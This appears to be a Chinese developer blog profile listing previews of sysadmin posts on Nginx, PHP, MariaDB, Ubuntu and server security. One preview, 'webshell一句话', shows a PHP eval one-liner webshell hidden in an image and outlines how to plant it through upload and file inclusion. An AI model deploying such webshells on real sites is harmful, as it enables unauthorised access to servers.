18 kentrl

尚未进行身份认证

我要认证

暂无相关简介

等级
TA的排名 11w+

码云webhook双分支(master/develop)自动部署生产服/测试服

<?php /** 码云webhooks自动更新程序* 根据不同分支来自动更新正式站/测试站* $logdir 日志存放目录* $name 站点标识字符,多站点方便区分日志* $password 码云设置的访问密码*/ $json = file_get_contents("php://input"); $data = json_decode($json,true); $password = '********'; //这里替换为你的密码 if (

2020-07-04 08:46:30

ubuntu环境下制作win10启动盘,ubuntu安装图形化磁盘分区工具

一: ubuntu 磁盘管理工具 ---- GParted 图形化分区工具安装GParted:sudo apt-get install gparted启动:sudo gparted二:Ubuntu 环境下制作启动盘Linux下有很多工具可以制作启动盘,不过我们可以使用linux下的一条命令来完成-----dd1 卸载U盘假设你的u盘对应的设备是sdb1 (可以使用df查看或者fdisk)sudo umount /dev/sdb12 写入Ubuntu系统sudo dd if=/hom

2020-06-27 16:45:58

php-fpm配置文件

php-fpm内的进程太多, 超占用内存-容易挤爆服服务器其他服务, 通过配置文件调整对应的进程数php-fpm.conf 配置文件详解pm = dynamic 选项有static和dynamic若选static,则由pm.max_children指定固定的子进程数。若选dynamic,则由pm.max_children、pm.start_servers、pm.min_spare_servers、pm.max_spare_servers 参数决定pm.max_children = 70 .

2020-06-14 16:10:32

Ubuntu系统的内核架构介绍

Ubuntu 18.04 LTS(Bionic Beaver)网络启动一: 安装手册有关使用netboot映像的建议,请参阅 安装指南。这些通常针对有特殊要求的有经验的用户。安装指南-截图[下图chrome直译过来]二: 系统架构选择架构Netboot映像可用于以下体系架构:amd64-适用于64位Intel / AMD(x86_64)i386-对于32位Intel / AMD(x86)arm64-对于64位ARM(ARMv8)armhf(generic,generic-lpae

2020-06-14 00:51:07

如何判断Linux服务器是否被入侵?

被入侵的症状网站的页面打开的很慢,或者电子邮件要花很长时间才能发送出去。服务器资源被榨干, CPU 资源来进行数字货币的采矿或者发送垃圾邮件,也可能消耗带宽来发动 DoS 攻击。那么你应该查看那些东西呢?检查 1 - 当前都有谁在登录? 其对应的命令是 w。运行 w 会输出如下结果:08:32:55 up 98 days, 5:43, 2 users, load average: 0.05, 0.03, 0.00USER TTY FROM L

2020-06-08 13:36:31

JWT实现Token认证

JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案。使用JWT后, 服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了, 认证方法是通过程序逻辑实现的首先需要清楚的是返回给客户端的是含完整(包含三段)的JWT 都返回给客户端1:JWT的数据结构完整的JWT结构afjdasfjsjdsa.safdsafsasfdsaf.afdsfdsaffswe使用.连接起来Header(头部) 这里通过 base64URLEncode 加密(可以解密.

2020-06-03 16:55:12

PHP session handler (session共享)

http://www.ttlsa.com/php/php-session-handler/

2020-06-02 23:37:03

mysqlnd_ms实现mysql读写分离(转)

5.x开始,PHP连接MYSQL无论使用哪种方式( 包括mysql_*、PDO_MYSQL、MYSQLi )都是使用的mysqlnd驱动.在编译安装PHP的时候,需要指定开启以下扩展–with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd 而不再是 --with-mysqli=/usr/local/mysqlmysqlnd_ms是mysqlnd的一个插件,该插件实现了连接保存和切换、负载均衡、读写分离的功能。要想使用mysqlnd_ms的读写分离功能必须在安装php

2020-06-02 23:18:45

服务器安全

防止DDoS攻击选择使用隐藏服务器真实IP3种隐藏服务器真实IP的方法, 这可以让攻击者找不到攻击目标>使用高防的盾机服务>使用CDN技术>使用域名导向1: 前端架设反向代理服务器或上cdn。通过代理服务器再访问业务主机,不仅更安全,还可以加速用户访问。另外部署起来也容易,所以不管大中小型网站,都是非常推荐的。CDN隐藏真实IP,静态资源能加速的全加速,剩下PHP指向源站。cdn如果只用了国内的,则可以通过国外主机ping来发现真实ip;2: 架设防火墙,仅允许白名单

2020-05-27 22:49:54

Nginx优化

Nginx配置fastcgi cachefastcgi cache的机制是将后端CGI服务返回的页面缓存起来,后续请求到来时直接返回缓存页面。fastcgi cache与squid、varnish、CDN等原理类似,省去与后端服务通信及生成页面的消耗fastcgi cache隶属于fastcgi模块,而fastcgi模块又归属于http模块,所以与缓存相关的配置应当都出现在这两个及下属配置块中(主要是http, server和location)。根据官方文档,博客站点采用的缓存配置如下:ht

2020-05-27 23:17:07

安装Windows和MacOS双系统 (BIOS + MBR)

>准备工作:~在C盘(我的是C盘是第一块硬盘)创建一个简单卷(用于安装mac的引导引擎)格式为FAT32,并激活为活动分区~在第二块硬盘最后一个分区创建一个简单卷(用于安装mac的os)制作mac的U盘启动盘安装mac系统方法1,在MAC下用clover pkg安装包安装clover,安装的时候不要一直下一步,选择安装位置到C盘(第一块硬盘)的空白分区,自定义安装,取消“仅安装UEFI开机版本”,取消“安装clover到EFI分区”,bootload选"BIOS。此方法电脑启动直接cl

2020-05-26 05:59:30

Nginx源码编译安装, Nginx安装,Nginx编译安装, Nginx源码安装,Linux编译安装Nginx

1、安装nginx source 源码包wget -P $HOME/Downloads/ http://nginx.org/download/nginx-1.16.1.tar.gzngx_cache_purgewget -P $HOME/Downloads http://labs.frickle.com/files/ngx_cache_purge-2.3.tar.gzmore_se...

2020-04-23 17:04:28

Ubuntu安装php

php安装1:sudo apt-get install python-software-properties2:sudo apt-get install libfcgi0ldbl3:apt install php7.2 php7.2-common php7.2-cli php7.2-fpm4:安装扩展sudo apt-get install -y php7.2-fpm php7.2...

2020-04-24 15:09:21

Mariadb 添加用户、删除用户与授权

MySQL5.7 mysql.user表没有password字段改 authentication_string;一. 创建用户:命令:create user ‘username’@‘host’ Identified by ‘password’;例子: create user ‘www-drupal’@’%’ Identified by ‘ttlgz2020’;username - 你将创建...

2020-04-27 11:08:12

VM环境笔记

linux系统结构/bin:bin是Binary的缩写, 这个目录存放着最经常使用的命令。/boot:这里存放的是启动Linux时使用的一些核心文件,包括一些连接文件以及镜像文件。/etc:这个目录用来存放所有的系统管理所需要的配置文件和子目录。/home:用户的主目录,在Linux中,每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的。/lib...

2020-04-28 18:09:51

MariaDB的增量备份和全量备份 mariabackup:未找到命令

备份数据:全量备份mariabackup --backup --target-dir=/var/mariadb/backup/ --user=root --password=123456增量备份mariabackup --backup --target-dir=/var/mariadb/inc1/ --incremental-basedir=/var/mariadb/backup/ --...

2020-05-08 17:12:49

安装Windows和Ubuntu双系统 (Legacy + MBR)

一:Windows下磁盘分区类型FAT16–能支持的最大分区为2gb, 一些流行的Linux都支持这种分区格式, 缺点硬盘的实际利用效率低。FAT32–FAT32的单个文件不能超过4GNTFS– 单个文件可以超过4G。它能对用户的操作进行记录,通过对用户权限进行非常严格的限制exFAT–适合于闪存的文件系统 (只为U盘而生) 分区只有Vista、Win7、Win8等系统支持二:linux系统下磁盘分区类型Ext2–既可以用于标准的块设备(如硬盘),也被应用在软盘等移动存储设备上。Ext3

2020-05-22 01:46:05

webshell一句话

1: 图片加马将图片直接拖到edjpgcom.exe程序上填入PHP一句话:<?php fputs(fopen("shell.txt","w")),'<?php eval($_POST['shell']);?>可以看到2: 上传图片3: 利用文件包含执行上传文件生成后门4: 通过菜刀连接webshell...

2020-05-21 02:22:24

Ubuntu16.04安装HeidiSQL ---待完善

查看当前系统架构32或64位查看内核架构dpkg --print-architecture#没有的话就不需要了,说明是32位内核架构接着输入dpkg --print-foreign-architectures#提示i386则说明已经支持32位的软件了开启Ubuntu - 32位架构dpkg --add-architecture i386apt-get updateapt install...

2020-05-08 00:16:20

Ubuntu一些设置和日常操作

如果您使用的是 64 位系统,请开启 32 bit 架构支持(如果您之前没有开启的话):查看当前系统使用32或64位dpkg --print-architecture开启32位支持dpkg --add-architecture i386apt-get update...

2020-05-06 13:55:37

查看更多

勋章 我的勋章
  • 持之以恒
    持之以恒
    授予每个自然月内发布4篇或4篇以上原创或翻译IT博文的用户。不积跬步无以至千里,不积小流无以成江海,程序人生的精彩需要坚持不懈地积累!
  • 勤写标兵Lv2
    勤写标兵Lv2
    授予每个自然周发布4篇到6篇原创IT博文的用户。本勋章将于次周周三上午根据用户上周的博文发布情况由系统自动颁发。
  • 分享学徒
    分享学徒
    成功上传1个资源即可获取